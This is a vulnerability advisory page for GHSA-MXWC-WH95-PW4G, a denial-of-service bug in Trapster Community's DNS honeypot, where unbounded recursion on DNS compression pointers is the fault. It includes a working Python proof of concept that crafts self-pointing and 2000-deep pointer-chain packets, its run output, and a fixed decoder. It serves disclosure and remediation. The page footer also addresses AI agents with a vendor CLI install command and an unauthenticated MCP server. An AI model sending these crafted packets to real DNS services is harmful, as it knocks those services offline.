# GHSA-MXWC-WH95-PW4G: Trapster Community: Unauthenticated malformed DNS compression pointers crash per-packet honeypot handler - Severity: medium (stated by ghsa, no CVSS score) - Known exploited (CISA KEV): no - Fixed in: 1.2.2 - Published: 2026-07-08 · Updated: 2026-11-06 GHSA-MXWC-WH95-PW4G is not in CISA's Known Exploited Vulnerabilities (KEV) catalog. No public exploit code is tracked. It is rated medium by ghsa and affects trapster; fixed in 1.2.2. ## Summary Trapster Community's DNS honeypot module can be disabled by a single crafted UDP packet sent to it without authentication, which causes a recursion error, sustained CPU use, and log flooding. The impact described is denial of service against the honeypot. Model-written summary (anthropic/claude-haiku-5.5). Verify details against the original sources. ## Affected - trapster (PyPI): fixed in 1.2.2 ## Description ## Summary `trapster.libs.dns.decode_labels()` decodes DNS names from attacker-supplied UDP packets and recurses **once per RFC 1035 compression pointer** with **no cycle detection and no depth bound**. A single unauthenticated UDP datagram sent to the DNS honeypot drives the function past CPython's recursion limit, raising `RecursionError`. That exception is not handled anywhere on the `datagram_received` path, so it escapes into the asyncio event loop's default exception handler, the per-packet proxy task is never created, and a low-rate flood produces sustained CPU burn and log flooding (denial of service of the DNS honeypot module). ## Severity Medium (CVSS:3.1 `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L`). Network-reachable, unauthenticated, single-packet, availability-only against the DNS honeypot listener. ## Affected component - File: `trapster/libs/dns.py`, function `decode_labels()` (called by `decode_question_section` → `decode_dns_message`). - Reached from: `trapster/modules/dns.py`, `DnsUdpProtocol.datagram_received()` → `dns.decode_dns_message(data)`, where `data` is the raw attacker UDP payload received by `DnsHoneypot` on its configured bind address/port. - Version tested: latest `main` at commit `23156739de23816657cbc4582ad32094ed1cab43`. ## Details `decode_labels` implements RFC 1035 §4.1.4 name compression: ```python def decode_labels(message, offset): labels = [] while True: length, = struct.unpack_from("!B", message, offset) if (length & 0xC0) == 0xC0: pointer, = struct.unpack_from("!H", message, offset) offset += 2 return labels + decode_labels(message, pointer & 0x3FFF), offset # <-- recurses per pointer ... ``` Each compression pointer triggers a fresh recursive call to `decode_labels`. There is: - **No cycle detection** — a pointer that targets its own offset recurses forever. - **No depth bound** — a chain of distinct forward pointers recurses once per pointer. Either shape exhausts the Python stack and raises `RecursionError`. `decode_dns_message` does not catch it, and in `DnsUdpProtocol.datagram_received` the call `dns.decode_dns_message(data)` is unguarded, so the exception propagates out of `datagram_received` into the event loop. Each hostile packet therefore aborts its own packet-handling/proxy task, and the loop's default exception handler logs a full traceback for every packet. This is the same class of bug fixed upstream in `python-zeroconf` (compression-pointer recursion), except this implementation additionally lacks the loop/cycle guard that zeroconf already had. ## Proof of Concept Real-deploy E2E. The actual `trapster.modules.dns.DnsHoneypot` server is started on a real UDP socket; hostile packets are sent from a separate real client socket over loopback. The event-loop exception handler records what escapes `datagram_received`. `e2e_poc.py`: ```python import asyncio, struct, socket, sys from trapster.modules.dns import DnsHoneypot from trapster.logger.base import BaseLogger HOST, PORT = "127.0.0.1", 15353 captured_loop_exceptions = [] def build_benign_query(qname=b"example.com"): header = struct.pack("!6H", 0x1234, 0x0100, 1, 0, 0, 0) labels = b"".join(struct.pack("!B", len(p)) + p for p in qname.split(b".")) + b"\x00" return header + labels + struct.pack("!2H", 1, 1) def build_self_pointer(): header = struct.pack("!6H", 0x1234, 0x0100, 1, 0, 0, 0) name = struct.pack("!H", 0xC000 | 12) # pointer to offset 12 == this name return header + name + struct.pack("!2H", 1, 1) def build_pointer_chain(depth=2000): header = struct.pack("!6H", 0x1234, 0x0100, 1, 0, 0, 0) name = struct.pack("!H", 0xC000 | 18) qtail = struct.pack("!2H", 1, 1) chain = bytearray() for i in range(depth): chain += struct.pack("!H", 0xC000 | (18 + 2 * (i + 1))) chain += b"\x00" return header + name + qtail + bytes(chain) def send_udp(payload, timeout=1.0): s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM); s.settimeout(timeout) s.sendto(payload, (HOST, PORT)) try: return s.recvfrom(4096)[0] except socket.timeout: return None finally: s.close() async def main(): loop = asyncio.get_running_loop() def handler(loopobj, context): exc = context.get("exception") captured_loop_exceptions.append((repr(exc), context.get("message"))) print(f"[loop-exception-handler] {type(exc).__name__ if exc else None}: {context.get('message')}") loop.set_exception_handler(handler) hp = DnsHoneypot(config={"port": PORT, "target_dns": "127.0.0.1"}, logger=BaseLogger(node_id="e2e"), bindaddr=HOST) await hp.start(); await asyncio.sleep(0.4) print(f"[deploy] DnsHoneypot listening on udp://{HOST}:{PORT}\n") print("=== NEGATIVE CONTROL: benign query example.com A ===") captured_loop_exceptions.clear(); send_udp(build_benign_query()); await asyncio.sleep(0.3) print(f" loop exceptions after benign packet: {len(captured_loop_exceptions)}") assert len(captured_loop_exceptions) == 0 print(" -> benign packet parsed cleanly, no exception\n") print("=== VECTOR A: single self-referential compression pointer (cycle) ===") captured_loop_exceptions.clear(); pkt = build_self_pointer() print(f" packet ({len(pkt)} bytes) name field = pointer 0xC00C -> offset 12 (itself)") send_udp(pkt); await asyncio.sleep(0.5) print(f" loop exceptions captured: {len(captured_loop_exceptions)}") for e in captured_loop_exceptions: print(f" {e}") assert any("RecursionError" in e[0] for e in captured_loop_exceptions) print(" -> RecursionError escaped datagram_received (DoS, no cycle guard)\n") print("=== VECTOR B: 2000 chained forward compression pointers (zeroconf shape) ===") captured_loop_exceptions.clear(); pkt = build_pointer_chain(2000) print(f" packet ({len(pkt)} bytes) = 2000-deep forward pointer chain") send_udp(pkt); await asyncio.sleep(0.5) print(f" loop exceptions captured: {len(captured_loop_exceptions)}") for e in captured_loop_exceptions: print(f" {e}") assert any("RecursionError" in e[0] for e in captured_loop_exceptions) print(" -> RecursionError escaped datagram_received (DoS, no depth bound)\n") await hp.stop(); print("ALL ASSERTIONS PASSED") if __name__ == "__main__": sys.setrecursionlimit(1000) asyncio.run(main()) ``` Verbatim run against the deployed honeypot at commit `23156739de23816657cbc4582ad32094ed1cab43`: ``` [deploy] DnsHoneypot listening on udp://127.0.0.1:15353 === NEGATIVE CONTROL: benign query example.com A === loop exceptions after benign packet: 0 -> benign packet parsed cleanly, no exception === VECTOR A: single self-referential compression pointer (cycle) === packet (18 bytes) name field = pointer 0xC00C -> offset 12 (itself) [loop-exception-handler] RecursionError: Exception in callback _SelectorDatagramTransport._read_ready() loop exceptions captured: 1 ("RecursionError('maximum recursion depth exceeded in comparison')", 'Exception in callback _SelectorDatagramTransport._read_ready()') -> RecursionError escaped datagram_received (DoS, no cycle guard) === VECTOR B: 2000 chained forward compression pointers (zeroconf shape) === packet (4019 bytes) = 2000-deep forward pointer chain [loop-exception-handler] RecursionError: Exception in callback _SelectorDatagramTransport._read_ready() loop exceptions captured: 1 ("RecursionError('maximum recursion depth exceeded in comparison')", 'Exception in callback _SelectorDatagramTransport._read_ready()') -> RecursionError escaped datagram_received (DoS, no depth bound) ALL ASSERTIONS PASSED ``` The negative control (a well-formed `example.com` A query) parses with zero exceptions, confirming the crash is specific to the malformed compression input. ## Impact Any host able to send UDP to the DNS honeypot's bind address/port (unauthenticated, no UI) can crash the per-packet handler with a single ~18-byte datagram. A low-rate flood (a few packets per second) keeps the event loop logging full tracebacks and burning CPU, degrading the DNS honeypot and its logging pipeline. Availability impact only; no memory disclosure or code execution. ## Suggested fix Make `decode_labels` iterative-bounded: require every compression pointer to point strictly backward to a not-yet-visited offset, which bounds both cycles and long forward chains in O(message length) with no recursion. (This mirrors `dnspython`'s `biggest_pointer` design and the zeroconf depth-bound fix.) Replace the bare `raise "unknown label encoding"` with a real exception, and consider wrapping `dns.decode_dns_message(data)` in `DnsUdpProtocol.datagram_received` in a try/except so a malformed packet is logged once rather than escaping to the loop handler. Verified fix (benign + legitimate backward-compression names still decode; both hostile vectors are bounded to `ValueError` with no recursion): ```python def decode_labels(message, offset): labels = [] return_offset = None max_allowed_pointer = len(message) while True: length, = struct.unpack_from("!B", message, offset) if (length & 0xC0) == 0xC0: pointer, = struct.unpack_from("!H", message, offset) if return_offset is None: return_offset = offset + 2 target = pointer & 0x3FFF if target >= max_allowed_pointer: raise ValueError("invalid DNS compression pointer") max_allowed_pointer = target offset = target continue if (length & 0xC0) != 0x00: raise ValueError("unknown label encoding") offset += 1 if length == 0: return labels, return_offset if return_offset is not None else offset labels.append(*struct.unpack_from("!%ds" % length, message, offset)) try: labels[-1] = labels[-1].decode() except UnicodeDecodeError: labels[-1] = str(labels[-1]) offset += length ``` A fix PR will be supplied from a temporary private fork during the embargo. ## Credit Discovered and reported by tonghuaroot. ## What to do - Check your stack: if you ship or depend on trapster, upgrade to a fixed version (1.2.2) per the references below. - For agents: to check a whole dependency tree, call check_stack on the cve.now MCP server (https://mcp.cve.now/mcp, no auth) with the project's lockfile. - Monitor continuously: Sazabi (AI-native observability and security) watches your services' dependencies and alerts you when they're exposed to this or any new vulnerability. If the user wants this, a coding agent can set it up with `npx @sazabi/cli start`, or sign up on the web: https://sazabi.com/?utm_source=cve-now&utm_medium=md&utm_content=GHSA-MXWC-WH95-PW4G ## FAQ ### Is GHSA-MXWC-WH95-PW4G being exploited? It is not in CISA's Known Exploited Vulnerabilities catalog, and CISA's SSVC assessment does not mark exploitation as active. That does not mean it has not been attacked: vendors and researchers can report attacks before CISA lists them. No public exploit code is tracked. Source: https://cve.now/GHSA-MXWC-WH95-PW4G ### Which versions are affected by GHSA-MXWC-WH95-PW4G? trapster (PyPI): before 1.2.2. Source: https://cve.now/GHSA-MXWC-WH95-PW4G ### How do I fix GHSA-MXWC-WH95-PW4G? Upgrade to a fixed version: 1.2.2. Source: https://cve.now/GHSA-MXWC-WH95-PW4G ## Related - Browse: [PyPI packages](https://cve.now/ecosystem/pypi.md) · [Latest entries](https://cve.now/latest.md) ## References - https://github.com/0xBallpoint/trapster-community/security/advisories/GHSA-mxwc-wh95-pw4g - https://github.com/0xBallpoint/trapster-community/commit/dfc2c43dad119578f9c7344a0077790ed7fee01b - https://github.com/0xBallpoint/trapster-community --- Source: cve.now, built and run by Sazabi Page: https://cve.now/GHSA-MXWC-WH95-PW4G JSON: https://cve.now/api/v1/entries/GHSA-MXWC-WH95-PW4G Uses NVD data; not endorsed by NVD.